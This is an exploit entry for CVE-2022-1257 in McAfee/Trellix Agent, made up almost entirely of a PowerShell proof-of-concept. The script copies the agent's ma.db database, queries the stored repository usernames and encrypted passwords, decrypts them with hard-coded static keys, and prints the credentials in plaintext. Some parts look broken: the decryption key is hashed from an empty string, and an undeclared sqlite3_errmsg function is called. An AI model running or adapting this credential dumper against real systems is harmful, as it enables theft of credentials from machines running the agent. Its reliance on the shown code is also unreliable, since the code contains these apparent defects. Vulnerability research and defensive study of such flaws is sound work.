Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information Date: 24 June 2025 Exploit Author: Keenan Scott Vendor Homepage: hxxps[://]www[.]mcafee[.]com/ Software Download: N/A (Unable to find) Version: < 5.7.6 Tested on: Windows 11 CVE: CVE-2022-1257 <# .SYNOPSIS Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817 .DESCRIPTION This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file. .LINK https://nvd.nist.gov/vuln/detail/cve-2022-1257 https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/ https://tryhackme.com/room/breachingad .OUTPUTS CSV in stdOut: Username,Password #> # Arguments [CmdletBinding()] param ( [string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db', [string]$TempFolder = $env:TEMP ) ### Initialize use of WinSQLite3 ### $cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N')) $code = @" using System; using System.Runtime.InteropServices; public static class $cls { public const int SQLITE_OK = 0; public const int SQLITE_ROW = 100; [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_open_v2( [MarshalAs(UnmanagedType.LPStr)] string filename, out IntPtr db, int flags, IntPtr vfs ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_close(IntPtr db); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_prepare_v2( IntPtr db, string sql, int nByte, out IntPtr stmt, IntPtr pzTail ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_step(IntPtr stmt); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_finalize(IntPtr stmt); } "@ # SQL statement to retrieve usersnames and encrypted passwords from ma.db $sql = @" SELECT AUTH_USER, AUTH_PASSWD FROM AGENT_REPOSITORIES WHERE AUTH_PASSWD IS NOT NULL; "@ Add-Type -TypeDefinition $code -PassThru | Out-Null $type = [type]$cls ### Decode and Decrypt ### # Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent. function Invoke-McAfeeDecrypt { param([string]$B64) [byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06, 0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 [byte[]]$buf = [Convert]::FromBase64String($B64.Trim()) for ($i = 0; $i -lt $buf.Length; $i++) { $buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length] } $sha = [System.Security.Cryptography.SHA1]::Create() [byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("")) + (0..3 | ForEach-Object { 0 }) $tdes = [System.Security.Cryptography.TripleDES]::Create() $tdes.Mode = 'ECB' $tdes.Padding = 'None' $tdes.Key = $key [byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length) $i = 0 while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) { $i++ } if ($i -eq 0) { return '' } [Text.Encoding]::UTF8.GetString($plain, 0, $i) } ### Copy ma.db ### # Copy ma.db over to temp directory add GUID incase it already exists there. $tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid())) Copy-Item -LiteralPath $DbSource -Destination $tmp -Force ### Pull records ### $dbPtr = [IntPtr]::Zero $stmtPtr = [IntPtr]::Zero $flags = 1 $rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) Throw "sqlite3_open_v2 failed (code $rc) : $msg" } $rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) $type::sqlite3_close($dbPtr) | Out-Null Throw "sqlite3_prepare_v2 failed (code $rc) : $msg" } $buffer = [System.Collections.Generic.List[string]]::new() while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) { $uPtr = $type::sqlite3_column_text($stmtPtr, 0) $pPtr = $type::sqlite3_column_text($stmtPtr, 1) $user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr) $pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr) if ($user -and $pass) { $buffer.Add("$user,$pass") } } ### Cleanup ### # Finish and close SQL $type::sqlite3_finalize($stmtPtr) | Out-Null $type::sqlite3_close($dbPtr) | Out-Null # Delete the ma.db file copied to the temp file Remove-Item $tmp -Force -ErrorAction SilentlyContinue ### Process encrypted credentials ### # For each row of credentials decrypt them and print plaintext to standard out. foreach ($line in $buffer) { $rec = $line -split ',', 2 if ($rec.Length -eq 2) { $username = $rec[0] try { $password = Invoke-McAfeeDecrypt $rec[1] } catch { $password = "[DECRYPT-ERROR] $_" } "Username,Password" "$username,$password" } }